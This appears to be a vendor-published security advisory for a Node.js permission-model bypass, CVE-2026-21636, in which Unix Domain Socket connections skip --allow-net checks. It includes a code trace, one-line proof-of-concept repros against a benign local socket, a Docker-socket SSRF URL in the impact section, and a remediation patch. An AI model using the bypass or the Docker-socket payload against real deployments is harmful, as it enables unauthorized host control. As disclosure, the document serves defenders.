Permission model bypass via unchecked Unix Domain Socket connections (CVE-2026-21636)
Node.js permission model fails to enforce network restrictions for Unix Domain Socket connections
Severity rating
MediumNo numeric base score was published with this disclosure.
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Summary
Source
options = { path: socketPath }
deps/undici/src/lib/core/connect.js:51
Sink
PipeWrap::Connect
src/pipe_wrap.cc:216
Node.js permission model fails to enforce network restrictions for Unix Domain Socket (UDS) connections. With --permission enabled and without --allow-net (or any allowlists), an attacker-controlled URL or socketPath still reaches arbitrary local sockets via net, tls, or undici/fetch. This breaks the security boundary the permission model is meant to provide and enables SSRF-to-local-RCE style impact against local daemons (e.g., Docker API) while the administrator believes networking is blocked.
Severity
- Attack vectorAV
- Local
- Attack complexityAC
- Low
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- Low
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlleddeps/
undici/ src/ lib/ core/ connect.js:51 options = { path: socketPath }
- Step 01src/
pipe_wrap.cc:228-236 PipeWrap::Connectcallsuv_pipe_connect2directly without any permission enforcement. Unlike TCP connections which explicitly check permissions, UDS connections bypass this entirely.cpp ConnectWrap* req_wrap = new ConnectWrap(env, req_wrap_obj, AsyncWrap::PROVIDER_PIPECONNECTWRAP); int err = req_wrap->Dispatch(uv_pipe_connect2, &wrap->handle_, *name, name.length(), UV_PIPE_NO_TRUNCATE, AfterConnect); - Step 02src/
tcp_wrap.cc:272 For comparison, TCP connect enforces permissions using
ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS. This check is absent from the UDS path inpipe_wrap.cc.cpp ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS( env, permission::PermissionScope::kNet, ip_address.ToStringView(), args); - Step 03deps/
undici/ src/ lib/ core/ connect.js:51,90-96 Undici connector builds
net.connectwith the attacker-controlledsocketPath, which usesPipeWrapinternally and bypasses permission checks.javascript const options = { path: socketPath, ...opts } // ... socket = net.connect({ highWaterMark: 64 * 1024, ...options, localAddress, port, host: hostname }) - Step 04lib/
internal/ process/ pre_execution.js Permission model initialization sets up
process.permission, butpipe_wrapIPC paths never callERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS, so the model is bypassed for all UDS operations.javascript // Permission model sets up kNet scope checks, // but PipeWrap never queries them - Sinksrc/
pipe_wrap.cc:216 PipeWrap::Connect
Impact
Reported impact
SSRF in a web app running with --permission lets an attacker supply http://unix:/var/run/docker.sock:/containers/json to gain Docker control, spawn containers with host mounts, and achieve host RCE. Access to local secrets daemons (Vault agent sockets, database UDS listeners) is also possible without any --allow-net flag. The primary security guarantee of --permission is bypassed for UDS, invalidating the threat model for "no network" deployments.
Attack surface
Any Node.js application running with --permission enabled that accepts attacker-controlled URLs or socket paths via net.connect, tls.connect, or undici/fetch with socketPath options.
Preconditions
The attacker needs the ability to supply a URL (e.g., SSRF) or socketPath option to a Node.js process running with the permission model enabled. No --allow-net flag is required for the attack to succeed.
Attack path
- 1
Start a Node.js process with
--permissionflag (no--allow-net). - 2
Supply an attacker-controlled URL like
http://unix:/var/run/docker.sock:/containers/jsonto undici/fetch. - 3
Alternatively, call
net.connect({ path: '/tmp/target.sock' })with an attacker-controlled path. - 4
The connection succeeds despite the permission model being enabled, bypassing the intended security boundary.
Proof of concept
- 01
Environment setup
Requirements: Build Node.js from source (
./configure && make -j8) or use Node.js v25+ with the permission model.Verify build:
bash ./node --version # v26.0.0-pre (or v25.x) - 02
Target configuration
Terminal 1: Start a UDS listener (benign stand-in for a privileged daemon)
bash ./node -e "const net=require('net'); net.createServer(s=>{s.end('pong')}).listen('/tmp/perm.sock');" - 03
Exploit delivery
Terminal 2: Connect with permission model enabled but no --allow-net
Minimal Repro (net.connect to UDS):
bash ./node --permission -e "const net=require('net'); const s=net.connect({path:'/tmp/perm.sock'},()=>{console.log('CONNECTED'); s.end();}); s.on('error',e=>console.error('ERR',e));"Minimal Repro (undici/fetch over UDS):
bash ./node --permission -e "const { request } = require('undici'); request('http://unix:/tmp/perm.sock:/').then(r=>r.body.text()).then(console.log).catch(console.error);" - 04
Expected response
text CONNECTEDThe connection succeeds even though
--allow-netwas not provided. This should result inERR_ACCESS_DENIED. - 05
Outcome
Both repros demonstrate that UDS connections bypass the permission model entirely. The
net.connectexample printsCONNECTEDand the undici example successfully receives the response from the socket. This allows attackers to pivot through Node's runtime to access privileged local services (Docker API, database sockets, etc.) despite the operator enabling the permission model.
Remediation
Guidance
Enforce permissions on UDS operations by adding ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS checks in src/pipe_wrap.cc for Connect and other UDS entrypoints. Treat the socket path as the resource string, using permission::PermissionScope::kNet to validate network access before allowing the connection.
// src/pipe_wrap.cc:226 - No permission check before UDS connectnode::Utf8Value name(env->isolate(), args[1]);ConnectWrap* req_wrap =new ConnectWrap(env, req_wrap_obj, ...);int err = req_wrap->Dispatch(uv_pipe_connect2, ...);// src/pipe_wrap.cc:226 - Permission check added after line 226node::Utf8Value name(env->isolate(), args[1]); ERR_ACCESS_DENIED_IF_INSUFFICIENT_PERMISSIONS( env, permission::PermissionScope::kNet, name.ToStringView(), args); ConnectWrap* req_wrap = new ConnectWrap(env, req_wrap_obj, ...);int err = req_wrap->Dispatch(uv_pipe_connect2, ...);
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
